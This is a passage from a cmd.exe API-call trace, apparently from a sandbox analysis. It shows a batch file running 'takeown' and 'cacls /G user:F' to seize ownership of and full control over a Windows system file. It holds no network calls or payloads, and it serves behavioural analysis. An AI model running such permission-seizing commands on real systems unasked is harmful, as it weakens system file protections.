lpNumberOfCharsWritten=0x26f688*=0x5) returned 1 [0063.492] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x26f694 | out: _Buffer=" \"C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\" /E /G 5p5NrGJn0jS HALPmcxz:F /C ") returned 91 [0063.492] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.492] GetFileType (hFile=0x7) returned 0x2 [0063.492] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.492] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f654 | out: lpMode=0x26f654) returned 1 [0063.493] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.493] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x5b, lpNumberOfCharsWritten=0x26f680, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f680*=0x5b) returned 1 [0063.493] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x26f6b4 | out: _Buffer="\r\n") returned 2 [0063.493] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.493] GetFileType (hFile=0x7) returned 0x2 [0063.493] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.493] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f674 | out: lpMode=0x26f674) returned 1 [0063.494] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.494] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f6a0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f6a0*=0x2) returned 1 [0063.494] _wcsicmp (_String1="cacls", _String2="DIR") returned -1 [0063.494] _wcsicmp (_String1="cacls", _String2="ERASE") returned -2 [0063.494] _wcsicmp (_String1="cacls", _String2="DEL") returned -1 [0063.494] _wcsicmp (_String1="cacls", _String2="TYPE") returned -17 [0063.494] _wcsicmp (_String1="cacls", _String2="COPY") returned -14 [0063.494] _wcsicmp (_String1="cacls", _String2="CD") returned -3 [0063.494] _wcsicmp (_String1="cacls", _String2="CHDIR") returned -7 [0063.494] _wcsicmp (_String1="cacls", _String2="RENAME") returned -15 [0063.494] _wcsicmp (_String1="cacls", _String2="REN") returned -15 [0063.494] _wcsicmp (_String1="cacls", _String2="ECHO") returned -2 [0063.494] _wcsicmp (_String1="cacls", _String2="SET") returned -16 [0063.494] _wcsicmp (_String1="cacls", _String2="PAUSE") returned -13 [0063.494] _wcsicmp (_String1="cacls", _String2="DATE") returned -1 [0063.494] _wcsicmp (_String1="cacls", _String2="TIME") returned -17 [0063.494] _wcsicmp (_String1="cacls", _String2="PROMPT") returned -13 [0063.494] _wcsicmp (_String1="cacls", _String2="MD") returned -10 [0063.494] _wcsicmp (_String1="cacls", _String2="MKDIR") returned -10 [0063.494] _wcsicmp (_String1="cacls", _String2="RD") returned -15 [0063.494] _wcsicmp (_String1="cacls", _String2="RMDIR") returned -15 [0063.494] _wcsicmp (_String1="cacls", _String2="PATH") returned -13 [0063.494] _wcsicmp (_String1="cacls", _String2="GOTO") returned -4 [0063.494] _wcsicmp (_String1="cacls", _String2="SHIFT") returned -16 [0063.494] _wcsicmp (_String1="cacls", _String2="CLS") returned -11 [0063.494] _wcsicmp (_String1="cacls", _String2="CALL") returned -9 [0063.495] _wcsicmp (_String1="cacls", _String2="VERIFY") returned -19 [0063.495] _wcsicmp (_String1="cacls", _String2="VER") returned -19 [0063.495] _wcsicmp (_String1="cacls", _String2="VOL") returned -19 [0063.495] _wcsicmp (_String1="cacls", _String2="EXIT") returned -2 [0063.495] _wcsicmp (_String1="cacls", _String2="SETLOCAL") returned -16 [0063.495] _wcsicmp (_String1="cacls", _String2="ENDLOCAL") returned -2 [0063.495] _wcsicmp (_String1="cacls", _String2="TITLE") returned -17 [0063.495] _wcsicmp (_String1="cacls", _String2="START") returned -16 [0063.495] _wcsicmp (_String1="cacls", _String2="DPATH") returned -1 [0063.495] _wcsicmp (_String1="cacls", _String2="KEYS") returned -8 [0063.495] _wcsicmp (_String1="cacls", _String2="MOVE") returned -10 [0063.495] _wcsicmp (_String1="cacls", _String2="PUSHD") returned -13 [0063.495] _wcsicmp (_String1="cacls", _String2="POPD") returned -13 [0063.495] _wcsicmp (_String1="cacls", _String2="ASSOC") returned 2 [0063.495] _wcsicmp (_String1="cacls", _String2="FTYPE") returned -3 [0063.495] _wcsicmp (_String1="cacls", _String2="BREAK") returned 1 [0063.495] _wcsicmp (_String1="cacls", _String2="COLOR") returned -14 [0063.495] _wcsicmp (_String1="cacls", _String2="MKLINK") returned -10 [0063.495] _wcsnicmp (_String1="cacl", _String2="cmd ", _MaxCount=0x4) returned -12 [0063.495] GetProcessHeap () returned 0x530000 [0063.495] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x418) returned 0x546248 [0063.495] SetErrorMode (uMode=0x0) returned 0x0 [0063.495] SetErrorMode (uMode=0x1) returned 0x0 [0063.495] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x546250, lpFilePart=0x26f458 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x26f458*="Desktop") returned 0x25 [0063.495] SetErrorMode (uMode=0x0) returned 0x1 [0063.496] GetProcessHeap () returned 0x530000 [0063.496] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x546248, Size=0x60) returned 0x546248 [0063.496] GetProcessHeap () returned 0x530000 [0063.496] RtlSizeHeap (HeapHandle=0x530000, Flags=0x0, MemoryPointer=0x546248) returned 0x60 [0063.496] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0063.496] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0063.496] GetProcessHeap () returned 0x530000 [0063.496] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x120) returned 0x5462b0 [0063.496] GetProcessHeap () returned 0x530000 [0063.496] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x238) returned 0x5463d8 [0063.498] GetConsoleTitleW (in: lpConsoleTitle=0x26f224, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0063.498] GetConsoleTitleW (in: lpConsoleTitle=0x26efb8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0063.498] InitializeProcThreadAttributeList (in: lpAttributeList=0x26ee40, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x26ef08 | out: lpAttributeList=0x26ee40, lpSize=0x26ef08) returned 1 [0063.498] UpdateProcThreadAttribute (in: lpAttributeList=0x26ee40, dwFlags=0x0, Attribute=0x60001, lpValue=0x26ef00, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x26ee40, lpPreviousValue=0x0) returned 1 [0063.498] GetStartupInfoW (in: lpStartupInfo=0x26edfc | out: lpStartupInfo=0x26edfc*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0063.511] CloseHandle (hObject=0x78) returned 1 [0063.511] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0063.511] GetProcessHeap () returned 0x530000 [0063.511] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x547f38 | out: hHeap=0x530000) returned 1 [0063.511] GetEnvironmentStringsW () returned 0x547f38* [0063.511] GetProcessHeap () returned 0x530000 [0063.511] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xb36) returned 0x548a78 [0063.511] FreeEnvironmentStringsW (penv=0x547f38) returned 1 [0063.511] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0067.814] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x26eddc | out: lpExitCode=0x26eddc*=0x1f57) returned 1 [0067.814] CloseHandle (hObject=0x74) returned 1 [0067.814] _vsnwprintf (in: _Buffer=0x26ef24, _BufferCount=0x13, _Format="%08X", _ArgList=0x26ede8 | out: _Buffer="00001F57") returned 8 [0067.815] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00001F57") returned 1 [0067.815] GetProcessHeap () returned 0x530000 [0067.815] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x548a78 | out: hHeap=0x530000) returned 1 [0067.815] GetEnvironmentStringsW () returned 0x547f38* [0067.815] GetProcessHeap () returned 0x530000 [0067.815] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xb5c) returned 0x54a120 [0067.815] FreeEnvironmentStringsW (penv=0x547f38) returned 1 [0067.815] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0067.815] GetProcessHeap () returned 0x530000 [0067.815] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x54a120 | out: hHeap=0x530000) returned 1 [0067.815] GetEnvironmentStringsW () returned 0x547f38* [0067.815] GetProcessHeap () returned 0x530000 [0067.815] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xb5c) returned 0x54a120 [0067.815] FreeEnvironmentStringsW (penv=0x547f38) returned 1 [0067.815] GetProcessHeap () returned 0x530000 [0067.815] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x530db8 | out: hHeap=0x530000) returned 1 [0067.815] DeleteProcThreadAttributeList (in: lpAttributeList=0x26ee40 | out: lpAttributeList=0x26ee40) [0067.815] _get_osfhandle (_FileHandle=1) returned 0x7 [0067.815] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0067.816] _get_osfhandle (_FileHandle=1) returned 0x7 [0067.816] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0067.816] _get_osfhandle (_FileHandle=0) returned 0x3 [0067.816] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0067.816] SetConsoleInputExeNameW () returned 0x1 [0067.816] GetConsoleOutputCP () returned 0x1b5 [0067.816] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0067.816] SetThreadUILanguage (LangId=0x0) returned 0x409 [0067.817] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x26f65c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0067.818] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0067.818] _get_osfhandle (_FileHandle=3) returned 0x74 [0067.818] SetFilePointer (in: hFile=0x74, lDistanceToMove=32, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0067.818] GetProcessHeap () returned 0x530000 [0067.818] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546b38 | out: hHeap=0x530000) returned 1 [0067.818] GetProcessHeap () returned 0x530000 [0067.818] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546a08 | out: hHeap=0x530000) returned 1 [0067.818] GetProcessHeap () returned 0x530000 [0067.818] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5468e0 | out: hHeap=0x530000) returned 1 [0067.818] GetProcessHeap () returned 0x530000 [0067.818] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546878 | out: hHeap=0x530000) returned 1 [0067.818] GetProcessHeap () returned 0x530000 [0067.818] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5467a0 | out: hHeap=0x530000) returned 1 [0067.818] GetProcessHeap () returned 0x530000 [0067.818] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546588 | out: hHeap=0x530000) returned 1 [0067.818] GetProcessHeap () returned 0x530000 [0067.818] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546508 | out: hHeap=0x530000) returned 1 [0067.818] GetProcessHeap () returned 0x530000 [0067.818] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5463d8 | out: hHeap=0x530000) returned 1 [0067.818] GetProcessHeap () returned 0x530000 [0067.818] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5462b0 | out: hHeap=0x530000) returned 1 [0067.818] GetProcessHeap () returned 0x530000 [0067.818] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546248 | out: hHeap=0x530000) returned 1 [0067.818] GetProcessHeap () returned 0x530000 [0067.818] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546180 | out: hHeap=0x530000) returned 1 [0067.818] GetProcessHeap () returned 0x530000 [0067.818] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5312a0 | out: hHeap=0x530000) returned 1 [0067.818] GetProcessHeap () returned 0x530000 [0067.818] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x531240 | out: hHeap=0x530000) returned 1 [0067.819] _get_osfhandle (_FileHandle=3) returned 0x74 [0067.819] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0067.819] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x26f640, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x26f640*=0xc2, lpOverlapped=0x0) returned 1 [0067.819] SetFilePointer (in: hFile=0x74, lDistanceToMove=47, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0067.819] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=15, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="takeown /F %1\r\n%USERNAME%:F /C\r\n") returned 15 [0067.820] _get_osfhandle (_FileHandle=3) returned 0x74 [0067.820] GetFileType (hFile=0x74) returned 0x1 [0067.820] _get_osfhandle (_FileHandle=3) returned 0x74 [0067.820] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0067.820] GetProcessHeap () returned 0x530000 [0067.820] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x400a) returned 0x554ab0 [0067.820] GetProcessHeap () returned 0x530000 [0067.820] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x554ab0 | out: hHeap=0x530000) returned 1 [0067.820] _wcsicmp (_String1="takeown", _String2=")") returned 75 [0067.820] _wcsicmp (_String1="FOR", _String2="takeown") returned -14 [0067.820] _wcsicmp (_String1="FOR/?", _String2="takeown") returned -14 [0067.821] _wcsicmp (_String1="IF", _String2="takeown") returned -11 [0067.821] _wcsicmp (_String1="IF/?", _String2="takeown") returned -11 [0067.821] _wcsicmp (_String1="REM", _String2="takeown") returned -2 [0067.821] _wcsicmp (_String1="REM/?", _String2="takeown") returned -2 [0067.821] GetProcessHeap () returned 0x530000 [0067.821] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x58) returned 0x531240 [0067.821] GetProcessHeap () returned 0x530000 [0067.821] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x18) returned 0x5312a0 [0067.822] _tell (_FileHandle=3) returned 47 [0067.822] _close (_FileHandle=3) returned 0 [0067.822] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x26f414 | out: _Buffer="\r\n") returned 2 [0067.822] _get_osfhandle (_FileHandle=1) returned 0x7 [0067.822] GetFileType (hFile=0x7) returned 0x2 [0067.822] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0067.822] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f3d4 | out: lpMode=0x26f3d4) returned 1 [0067.822] _get_osfhandle (_FileHandle=1) returned 0x7 [0067.823] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f400, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f400*=0x2) returned 1 [0067.824] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0067.824] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0067.824] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x26f410 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0067.824] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x26f410 | out: _Buffer=">") returned 1 [0067.824] _get_osfhandle (_FileHandle=1) returned 0x7 [0067.824] GetFileType (hFile=0x7) returned 0x2 [0067.825] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0067.825] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f3d8 | out: lpMode=0x26f3d8) returned 1 [0067.825] _get_osfhandle (_FileHandle=1) returned 0x7 [0067.825] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x26f404, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x26f404*=0x26) returned 1 [0067.825] _get_osfhandle (_FileHandle=1) returned 0x7 [0067.825] GetFileType (hFile=0x7) returned 0x2 [0067.826] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0067.826] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f65c | out: lpMode=0x26f65c) returned 1 [0067.826] _get_osfhandle (_FileHandle=1) returned 0x7 [0067.826] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x5312a8*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x26f688, lpReserved=0x0 | out: lpBuffer=0x5312a8*, lpNumberOfCharsWritten=0x26f688*=0x7) returned 1 [0067.826] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x26f694 | out: _Buffer=" /F \"C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\" ") returned 62 [0067.826] _get_osfhandle (_FileHandle=1) returned 0x7 [0067.826] GetFileType (hFile=0x7) returned 0x2 [0067.827] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0067.827] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f654 | out: lpMode=0x26f654) returned 1 [0067.827] _get_osfhandle (_FileHandle=1) returned 0x7 [0067.827] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3e, lpNumberOfCharsWritten=0x26f680, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f680*=0x3e) returned 1 [0067.828] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x26f6b4 | out: _Buffer="\r\n") returned 2 [0067.828] _get_osfhandle (_FileHandle=1) returned 0x7 [0067.828] GetFileType (hFile=0x7) returned 0x2 [0067.829] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0067.829] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f674 | out: lpMode=0x26f674) returned 1 [0067.829] _get_osfhandle (_FileHandle=1) returned 0x7 [0067.829] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f6a0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f6a0*=0x2) returned 1 [0067.830] _wcsicmp (_String1="takeown", _String2="DIR") returned 16 [0067.830] _wcsicmp (_String1="takeown", _String2="ERASE") returned 15 [0067.830] _wcsicmp (_String1="takeown", _String2="DEL") returned 16 [0067.830] _wcsicmp (_String1="takeown", _String2="TYPE") returned -24 [0067.830] _wcsicmp (_String1="takeown", _String2="COPY") returned 17 [0067.831] _wcsicmp (_String1="takeown", _String2="CD") returned 17 [0067.831] _wcsicmp (_String1="takeown", _String2="CHDIR") returned 17 [0067.831] _wcsicmp (_String1="takeown", _String2="RENAME") returned 2 [0067.831] _wcsicmp (_String1="takeown", _String2="REN") returned 2 [0067.831] _wcsicmp (_String1="takeown", _String2="ECHO") returned 15 [0067.831] _wcsicmp (_String1="takeown", _String2="SET") returned 1 [0067.831] _wcsicmp (_String1="takeown", _String2="PAUSE") returned 4 [0067.831] _wcsicmp (_String1="takeown", _String2="DATE") returned 16 [0067.831] _wcsicmp (_String1="takeown", _String2="TIME") returned -8 [0067.831] _wcsicmp (_String1="takeown", _String2="PROMPT") returned 4 [0067.831] _wcsicmp (_String1="takeown", _String2="MD") returned 7 [0067.831] _wcsicmp (_String1="takeown", _String2="MKDIR") returned 7 [0067.831] _wcsicmp (_String1="takeown", _String2="RD") returned 2 [0067.831] _wcsicmp (_String1="takeown", _String2="RMDIR") returned 2 [0067.831] _wcsicmp (_String1="takeown", _String2="PATH") returned 4 [0067.831] _wcsicmp (_String1="takeown", _String2="GOTO") returned 13 [0067.831] _wcsicmp (_String1="takeown", _String2="SHIFT") returned 1 [0067.831] _wcsicmp (_String1="takeown", _String2="CLS") returned 17 [0067.831] _wcsicmp (_String1="takeown", _String2="CALL") returned 17 [0067.831] _wcsicmp (_String1="takeown", _String2="VERIFY") returned -2 [0067.831] _wcsicmp (_String1="takeown", _String2="VER") returned -2 [0067.831] _wcsicmp (_String1="takeown", _String2="VOL") returned -2 [0067.831] _wcsicmp (_String1="takeown", _String2="EXIT") returned 15 [0067.831] _wcsicmp (_String1="takeown", _String2="SETLOCAL") returned 1 [0067.831] _wcsicmp (_String1="takeown", _String2="ENDLOCAL") returned 15 [0067.831] _wcsicmp (_String1="takeown", _String2="TITLE") returned -8 [0067.831] _wcsicmp (_String1="takeown", _String2="START") returned 1 [0067.831] _wcsicmp (_String1="takeown", _String2="DPATH") returned 16 [0067.831] _wcsicmp (_String1="takeown", _String2="KEYS") returned 9 [0067.831] _wcsicmp (_String1="takeown", _String2="MOVE") returned 7 [0067.831] _wcsicmp (_String1="takeown", _String2="PUSHD") returned 4 [0067.831] _wcsicmp (_String1="takeown", _String2="POPD") returned 4 [0067.831] _wcsicmp (_String1="takeown", _String2="ASSOC") returned 19 [0067.831] _wcsicmp (_String1="takeown", _String2="FTYPE") returned 14 [0067.832] _wcsicmp (_String1="takeown", _String2="BREAK") returned 18 [0067.832] _wcsicmp (_String1="takeown", _String2="COLOR") returned 17 [0067.832] _wcsicmp (_String1="takeown", _String2="MKLINK") returned 7 [0067.832] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0067.832] GetProcessHeap () returned 0x530000 [0067.832] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x120) returned 0x546280 [0067.832] GetProcessHeap () returned 0x530000 [0067.832] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x238) returned 0x5463a8 [0067.832] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x26f1d4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f1d4) returned 0xffffffff [0067.832] GetLastError () returned 0x2 [0067.833] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown", fInfoLevelId=0x1, lpFindFileData=0x26f1d4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f1d4) returned 0xffffffff [0067.833] GetLastError () returned 0x2 [0067.833] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x26f1d4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f1d4) returned 0x546558 [0067.833] FindClose (in: hFindFile=0x546558 | out: hFindFile=0x546558) returned 1 [0067.833] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.COM", fInfoLevelId=0x1, lpFindFileData=0x26f1d4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f1d4) returned 0xffffffff [0067.833] GetLastError () returned 0x2 [0067.833] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.EXE", fInfoLevelId=0x1, lpFindFileData=0x26f1d4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f1d4) returned 0x546558 [0067.833] FindClose (in: hFindFile=0x546558 | out: hFindFile=0x546558) returned 1 [0067.834] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0067.834] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0067.834] GetConsoleTitleW (in: lpConsoleTitle=0x26f224, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0067.834] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0067.834] GetProcessHeap () returned 0x530000 [0067.834] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x120) returned 0x546810 [0067.834] GetProcessHeap () returned 0x530000 [0067.834] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x238) returned 0x546938 [0067.834] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x26eac0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26eac0) returned 0xffffffff [0067.834] GetLastError () returned 0x2 [0067.834] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown", fInfoLevelId=0x1, lpFindFileData=0x26eac0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26eac0) returned 0xffffffff [0067.834] GetLastError () returned 0x2 [0067.834] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x26eac0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26eac0) returned 0x546ae8 [0067.835] FindClose (in: hFindFile=0x546ae8 | out: hFindFile=0x546ae8) returned 1 [0067.835] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.COM", fInfoLevelId=0x1, lpFindFileData=0x26eac0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26eac0) returned 0xffffffff [0067.835] GetLastError () returned 0x2 [0067.835] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.EXE", fInfoLevelId=0x1, lpFindFileData=0x26eac0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26eac0) returned 0x546ae8 [0067.835] FindClose (in: hFindFile=0x546ae8 | out: hFindFile=0x546ae8) returned 1 [0067.835] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0067.835] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0067.835] GetConsoleTitleW (in: lpConsoleTitle=0x26efb8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0067.835] InitializeProcThreadAttributeList (in: lpAttributeList=0x26ee40, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x26ef08 | out: lpAttributeList=0x26ee40, lpSize=0x26ef08) returned 1 [0067.835] UpdateProcThreadAttribute (in: lpAttributeList=0x26ee40, dwFlags=0x0, Attribute=0x60001, lpValue=0x26ef00, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x26ee40, lpPreviousValue=0x0) returned 1 [0067.835] GetStartupInfoW (in: lpStartupInfo=0x26edfc | out: lpStartupInfo=0x26edfc*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, 